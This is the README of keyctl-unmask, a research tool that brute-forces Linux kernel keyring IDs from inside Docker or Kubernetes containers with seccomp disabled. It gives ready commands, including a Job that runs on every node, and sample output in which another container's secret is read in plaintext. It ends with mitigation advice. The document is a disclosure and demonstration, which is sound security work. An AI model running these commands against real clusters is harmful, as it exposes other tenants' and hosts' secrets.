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Keyctl-unmask

This tool "Goes Florida" on container keyring masks. It is a tool to demonstrate the ineffectivity that containers have on isolating Linux Kernel keyrings.

See also:

Usage

Running keyctl-unmask by default will look like this:

docker demo

Within less than 10 minutes all of the host's keyrings will be stored as JSON objects in ./keyctl_ids

Search for Linux kernel keyrings even if /proc/keys are masked in a container
Usage: 

        keyctl-unmask -min 0 -max 999999999 

        keyctl-unmask -hunt

        keyctl-unmask -d

  -d    Log everything to stdout (cloud logging not supported)
  -hunt
        Enable brute force mode to search for key ids (default true)
  -key int
        Specific key ID to test (int32)
  -max int
        Max key id range (default 999999999)
  -min int
        Minimum key id range (default 1)
  -output string
        Output path (default "./keyctl_ids")
  -q    Quiet mode to disable logging and progress bar

Example in Docker

In one container, create a new key representing a secret stored by a container:

docker run --name secret-server -it --security-opt \
    seccomp=unconfined antitree/keyctl-unmask /bin/bash 

> keyctl add user antitrees_secret thetruthisiliketrees @s
911117332
> keyctl show
Session Keyring
 899321446 --alswrv      0     0  keyring: _ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852
 911117332 --alswrv      0     0   \_ user: antitrees_secret

Start a separate container (with seccomp disabled) and execute keyctl-unmask

docker run -it --name keyctl-attacker --security-opt seccomp=unconfined antitree/keyctl-unmask /bin/bash
root@keyctl-attacker:/# keyctl-unmask -min 0 -max 999999999
10 / 10 [----------------------------------------------------------------------------] 100.00% ? p/s 0s
Output saved to:  ./keyctl_ids
root@keyctl-attacker:/# cat keyctl_ids 

{
 "KeyId": 899321446,
 "Valid": true,
 "Name": "_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\u0014\ufffdN6",
 "Byte_Content": "FIxONg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 911117332,
   "Valid": true,
   "Name": "antitrees_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisiliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lsaWtldHJlZXM=",
   "Comments": null,
   "Subkeys": null
  }
 ]

Usage In Kubernetes

Most Kubernetes clusters have the "benefit" of running without seccomp enabled so you can run it yourself like so:

kubectl run --rm -i \
      -t keyctl-unmask --image=keyctl-unmask \
      --image-pull-policy=Never --restart=Never \
      -- keyctl-unmask -hunt -d

Kubernetes One Off Pod With Progress Bar

The following one liner will start a hunt into the kubernetes cluster and return the results with the progress bar in a clean way.

kubectl run whatever --rm -it --generator=Pod --image-pull-policy=Never \
      --restart=Never --image=antitree/keyctl-unmask \
      --overrides="$(cat example/k8s/keyctl-unmask-run.json)"

Kubernetes All Nodes

Deploying as a Job will run this on each node in the cluster to let you figure out if any cluster has interesting things within each Node. This creates a PVC to store the results of trying to extract each Node's keyrings.

keyctl apply -f examples/k8s/keyctl-unmask-job.yaml

Attach to the debug Pod to read the results:

kubectl exec -it -n test keyctl-unmask-debug-pod -- /bin/bash
> cat /keyctl-output/* | jq
{
 "KeyId": 899321446,
 "Valid": true,
 "Name": "_ses.95f119ce25274b852fc62369089dcb4fbe15678e62eecfdc685d292e6a01f852",
 "Type": "keyring",
...

Pre-Emptive Responses To Potential Questions/Comments

What's you're deal with Florida? IDK, just not feeling like a fan lately. Wear a fucking mask.

Yeah but the Docker seccomp profile takes care of this.

First, yes seccomp-bpf is a powerful tool and we should all use it for our containers but in the case of Docker, it's considered a nice-to-have (not to mention difficult to use at scale). Because it's not a primary security control, and because there's no way to validate whether a seccomp profile is effective at runtime (see my other talks), we can't rely on it. It's a bolt on fix for the real issue.

We should just enable user namespacing and this would be solved

If you say that all you have to do is enable user namespacing, I'd say "You're right!" and "No one does" and "It's not the default for Docker" Lets not say that user namespacing is a solution when enabling it breaks so many other things.

Everyone knows about this issue, this isn't new

That this isn't new is mostly true in that it's been discussed since 2014 but it's been considered generally fixed since Docker added masks to /proc/keys and fixed it via seccomp. Furthermore, people are doing great work to fix this and modern kernels will have solved this by simpley checking the UID of the syscall making the request to read a key but at the time of writing this, most environments (including cloud) did not have this feature. So it's not new, but it's not fixed either.

No one uses keyrings

That seems to be true for many things but I think it's interesting that the technology is completely incompatible with containers in that every container can access any other container's keyrings including the hosts.

Fine well what do you want someone to do about it?

  1. Ensure that your container runtimes have support for namespaced keyrings: It's possible, if anyone cares.
  2. Make some of the protections that seccomp provides like blocking KEYCTL syscalls completely a compiled in security control .
  3. Make seccomp usable in our runtimes. (See separate rant)
  4. Update to the latest kernel

Known Issues